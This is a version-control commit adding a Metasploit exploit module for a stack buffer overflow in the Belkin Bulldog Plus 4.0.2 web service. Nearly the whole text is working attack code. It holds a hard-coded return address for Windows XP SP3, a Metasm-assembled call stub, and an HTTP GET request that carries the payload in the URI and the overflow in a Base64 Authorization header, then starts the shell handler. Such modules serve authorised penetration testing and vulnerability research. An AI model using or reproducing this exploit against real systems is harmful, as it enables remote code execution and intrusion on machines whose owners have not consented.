added exploit module belkin_bulldog.rb.

git-svn-id: file:///home/svn/framework3/trunk@6334 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/http/belkin_bulldog.rb

@@ -0,0 +1,75 @@
+##
+# This file is part of the Metasploit Framework and may be subject to 
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/projects/Framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize(info = {})
+		super(update_info(info,	
+			'Name'           => 'Belkin Bulldog Plus Web Service Buffer Overflow',
+			'Description'    => %q{
+				This module exploits a stack overflow in Belkin Bulldog Plus
+				4.0.2 build 1219. When sending a specially crafted http request,
+				an attacker may be able to execute arbitrary code.
+			},
+			'Author'         => [ 'MC' ],
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision:$',
+			'References'     =>
+				[
+					[ 'BID', '34033' ],
+				],
+			'Privileged'     => true,
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'process',
+				},
+			'Payload'        =>
+				{
+					'Space'    => 750,
+					'BadChars' => "\x00",
+					'StackAdjustment' => -3500,
+					'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
+					'DisableNops'  =>  'True',
+				},
+			'Platform'       => 'win',
+			'Targets'        => 
+				[
+					[ 'Windows XP SP3 English', { 'Ret' => 0x7e4456f7 } ],
+				],
+			'DefaultTarget'  => 0,			
+			'DisclosureDate' => 'Mar 8 2009'))
+			
+			register_options( [ Opt::RPORT(80) ], self.class )
+
+	end
+
+	def exploit
+		c = connect
+
+		dwerd = Metasm::Shellcode.assemble(Metasm::Ia32.new, "call dword [esp+58h]").encode_string
+
+		filler = [target.ret].pack('V') + dwerd + make_nops(28)
+
+		print_status("Trying target #{target.name}...")
+
+		send_request_raw({
+			'uri'          => payload.encoded,
+			'version'      => '1.1',
+			'method'       => 'GET',
+			'headers'      =>
+			{
+				'Authorization' => "Basic #{Rex::Text.encode_base64(filler)}"
+			}
+		}, 5)
+
+		handler
+	end	
+end